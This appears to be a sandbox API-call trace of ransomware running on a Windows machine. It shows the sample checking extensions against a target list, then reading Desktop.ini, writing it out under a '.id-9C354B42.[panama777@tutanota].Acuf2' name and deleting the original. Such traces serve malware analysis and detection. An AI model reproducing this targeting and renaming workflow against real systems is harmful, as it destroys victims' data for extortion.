	[0047.330] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0047.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0047.330] lstrlenW (lpString=".zip") returned 4
	[0047.330] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0047.330] lstrlenW (lpString=".rar") returned 4
	[0047.330] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0047.330] lstrlenW (lpString=".bz2") returned 4
	[0047.330] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0047.330] lstrlenW (lpString=".7z") returned 3
	[0047.330] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0047.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0047.330] lstrlenW (lpString=".dbf") returned 4
	[0047.330] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0047.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0047.331] lstrlenW (lpString=".1cd") returned 4
	[0047.331] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0047.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0047.331] lstrlenW (lpString=".jpg") returned 4
	[0047.331] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0047.331] lstrcmpiW (lpString1=".jpg", lpString2=".Acuf2") returned 1
	[0047.331] lstrlenW (lpString="Bears.jpg") returned 9
	[0047.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0047.530] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=1074) returned 1
	[0047.530] CloseHandle (hObject=0x208) returned 1
	[0047.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20
	[0047.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0047.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0047.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0047.530] lstrlenW (lpString=".doc") returned 4
	[0047.530] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0047.530] lstrlenW (lpString=".docx") returned 5
	[0047.530] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0047.530] lstrlenW (lpString=".pdf") returned 4
	[0047.531] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0047.531] lstrlenW (lpString=".xls") returned 4
	[0047.531] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0047.531] lstrlenW (lpString=".xlsx") returned 5
	[0047.531] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0047.531] lstrlenW (lpString=".ppt") returned 4
	[0047.531] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0047.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0047.531] lstrlenW (lpString=".zip") returned 4
	[0047.531] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0047.531] lstrlenW (lpString=".rar") returned 4
	[0047.531] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0047.531] lstrlenW (lpString=".bz2") returned 4
	[0047.531] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0047.531] lstrlenW (lpString=".7z") returned 3
	[0047.531] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0047.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0047.531] lstrlenW (lpString=".dbf") returned 4
	[0047.531] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0047.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0047.531] lstrlenW (lpString=".1cd") returned 4
	[0047.531] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0047.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0047.531] lstrlenW (lpString=".jpg") returned 4
	[0047.531] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0047.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0047.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0047.531] lstrlenW (lpString=".doc") returned 4
	[0047.532] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0047.532] lstrlenW (lpString=".docx") returned 5
	[0047.532] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0047.532] lstrlenW (lpString=".pdf") returned 4
	[0047.532] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0047.532] lstrlenW (lpString=".xls") returned 4
	[0047.532] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0047.532] lstrlenW (lpString=".xlsx") returned 5
	[0047.532] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0047.532] lstrlenW (lpString=".ppt") returned 4
	[0047.532] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0047.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0047.532] lstrlenW (lpString=".zip") returned 4
	[0047.532] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0047.532] lstrlenW (lpString=".rar") returned 4
	[0047.532] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0047.532] lstrlenW (lpString=".bz2") returned 4
	[0047.532] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0047.532] lstrlenW (lpString=".7z") returned 3
	[0047.532] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0047.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0047.532] lstrlenW (lpString=".dbf") returned 4
	[0047.532] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0047.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0047.532] lstrlenW (lpString=".1cd") returned 4
	[0047.532] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0047.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0047.532] lstrlenW (lpString=".jpg") returned 4
	[0047.532] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0047.533] lstrcmpiW (lpString1=".gif", lpString2=".Acuf2") returned 1
	[0047.533] lstrlenW (lpString="Cave_Drawings.gif") returned 17
	[0047.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0047.533] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=4587) returned 1
	[0047.533] CloseHandle (hObject=0x208) returned 1
	[0047.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20
	[0047.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0047.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0047.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0047.533] lstrlenW (lpString=".doc") returned 4
	[0047.533] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.534] lstrlenW (lpString=".docx") returned 5
	[0047.534] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1
	[0047.534] lstrlenW (lpString=".pdf") returned 4
	[0047.534] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.534] lstrlenW (lpString=".xls") returned 4
	[0047.534] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.534] lstrlenW (lpString=".xlsx") returned 5
	[0047.534] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1
	[0047.534] lstrlenW (lpString=".ppt") returned 4
	[0047.534] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0047.534] lstrlenW (lpString=".zip") returned 4
	[0047.534] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.534] lstrlenW (lpString=".rar") returned 4
	[0047.534] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.534] lstrlenW (lpString=".bz2") returned 4
	[0047.534] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.534] lstrlenW (lpString=".7z") returned 3
	[0047.534] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0047.534] lstrlenW (lpString=".dbf") returned 4
	[0047.534] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0047.534] lstrlenW (lpString=".1cd") returned 4
	[0047.534] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0047.534] lstrlenW (lpString=".jpg") returned 4
	[0047.534] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0047.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0047.535] lstrlenW (lpString=".doc") returned 4
	[0047.535] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.535] lstrlenW (lpString=".docx") returned 5
	[0047.535] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1
	[0047.535] lstrlenW (lpString=".pdf") returned 4
	[0047.535] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.535] lstrlenW (lpString=".xls") returned 4
	[0047.535] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.535] lstrlenW (lpString=".xlsx") returned 5
	[0047.535] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1
	[0047.535] lstrlenW (lpString=".ppt") returned 4
	[0047.535] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0047.535] lstrlenW (lpString=".zip") returned 4
	[0047.535] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.535] lstrlenW (lpString=".rar") returned 4
	[0047.535] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.535] lstrlenW (lpString=".bz2") returned 4
	[0047.535] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.535] lstrlenW (lpString=".7z") returned 3
	[0047.535] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0047.535] lstrlenW (lpString=".dbf") returned 4
	[0047.535] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0047.535] lstrlenW (lpString=".1cd") returned 4
	[0047.535] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0047.536] lstrlenW (lpString=".jpg") returned 4
	[0047.536] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.536] lstrcmpiW (lpString1=".gif", lpString2=".Acuf2") returned 1
	[0047.536] lstrlenW (lpString="Connectivity.gif") returned 16
	[0047.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0047.536] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=2319) returned 1
	[0047.536] CloseHandle (hObject=0x208) returned 1
	[0047.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20
	[0047.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0047.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0047.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0047.536] lstrlenW (lpString=".doc") returned 4
	[0047.536] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.537] lstrlenW (lpString=".docx") returned 5
	[0047.537] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1
	[0047.537] lstrlenW (lpString=".pdf") returned 4
	[0047.537] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.537] lstrlenW (lpString=".xls") returned 4
	[0047.537] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.537] lstrlenW (lpString=".xlsx") returned 5
	[0047.537] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1
	[0047.537] lstrlenW (lpString=".ppt") returned 4
	[0047.537] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0047.537] lstrlenW (lpString=".zip") returned 4
	[0047.537] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.537] lstrlenW (lpString=".rar") returned 4
	[0047.537] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.537] lstrlenW (lpString=".bz2") returned 4
	[0047.537] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.537] lstrlenW (lpString=".7z") returned 3
	[0047.537] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0047.537] lstrlenW (lpString=".dbf") returned 4
	[0047.537] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0047.537] lstrlenW (lpString=".1cd") returned 4
	[0047.537] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0047.537] lstrlenW (lpString=".jpg") returned 4
	[0047.537] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0047.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0047.538] lstrlenW (lpString=".doc") returned 4
	[0047.538] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.538] lstrlenW (lpString=".docx") returned 5
	[0047.538] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1
	[0047.538] lstrlenW (lpString=".pdf") returned 4
	[0047.538] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.538] lstrlenW (lpString=".xls") returned 4
	[0047.538] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.538] lstrlenW (lpString=".xlsx") returned 5
	[0047.538] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1
	[0047.538] lstrlenW (lpString=".ppt") returned 4
	[0047.538] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0047.538] lstrlenW (lpString=".zip") returned 4
	[0047.538] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.538] lstrlenW (lpString=".rar") returned 4
	[0047.538] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.538] lstrlenW (lpString=".bz2") returned 4
	[0047.538] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.538] lstrlenW (lpString=".7z") returned 3
	[0047.538] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0047.538] lstrlenW (lpString=".dbf") returned 4
	[0047.538] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0047.538] lstrlenW (lpString=".1cd") returned 4
	[0047.538] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0047.539] lstrlenW (lpString=".jpg") returned 4
	[0047.539] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.539] lstrcmpiW (lpString1=".ini", lpString2=".Acuf2") returned 1
	[0047.539] lstrlenW (lpString="Desktop.ini") returned 11
	[0047.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0047.539] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=645) returned 1
	[0047.539] CloseHandle (hObject=0x208) returned 1
	[0047.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26
	[0047.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0047.540] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.540] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0047.540] GetLastError () returned 0x0
	[0047.540] ReadFile (in: hFile=0x208, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x285, lpOverlapped=0x0) returned 1
	[0047.541] WriteFile (in: hFile=0x1bc, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x290, lpOverlapped=0x0) returned 1
	[0047.543] ReadFile (in: hFile=0x208, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0047.543] WriteFile (in: hFile=0x1bc, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0047.543] SetEndOfFile (hFile=0x1bc) returned 1
	[0047.543] CloseHandle (hObject=0x1bc) returned 1
	[0047.543] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.543] SetEndOfFile (hFile=0x208) returned 1
	[0047.544] CloseHandle (hObject=0x208) returned 1
	[0047.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x26) returned 1
	[0047.544] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1
	[0047.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0047.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0047.545] lstrlenW (lpString=".doc") returned 4
	[0047.545] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0047.545] lstrlenW (lpString=".docx") returned 5
	[0047.545] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0047.545] lstrlenW (lpString=".pdf") returned 4
	[0047.545] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0047.545] lstrlenW (lpString=".xls") returned 4
	[0047.545] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0047.545] lstrlenW (lpString=".xlsx") returned 5
	[0047.545] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0047.545] lstrlenW (lpString=".ppt") returned 4
	[0047.545] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0047.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0047.545] lstrlenW (lpString=".zip") returned 4
	[0047.545] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0047.545] lstrlenW (lpString=".rar") returned 4
	[0047.545] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0047.545] lstrlenW (lpString=".bz2") returned 4
	[0047.545] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0047.545] lstrlenW (lpString=".7z") returned 3
	[0047.545] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0047.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0047.545] lstrlenW (lpString=".dbf") returned 4
	[0047.546] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0047.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0047.546] lstrlenW (lpString=".1cd") returned 4
	[0047.546] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0047.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0047.546] lstrlenW (lpString=".jpg") returned 4
	[0047.546] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0047.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0047.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0047.546] lstrlenW (lpString=".doc") returned 4
	[0047.546] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0047.546] lstrlenW (lpString=".docx") returned 5
	[0047.546] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0047.546] lstrlenW (lpString=".pdf") returned 4
	[0047.546] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0047.546] lstrlenW (lpString=".xls") returned 4
	[0047.546] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0047.546] lstrlenW (lpString=".xlsx") returned 5
	[0047.546] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0047.546] lstrlenW (lpString=".ppt") returned 4
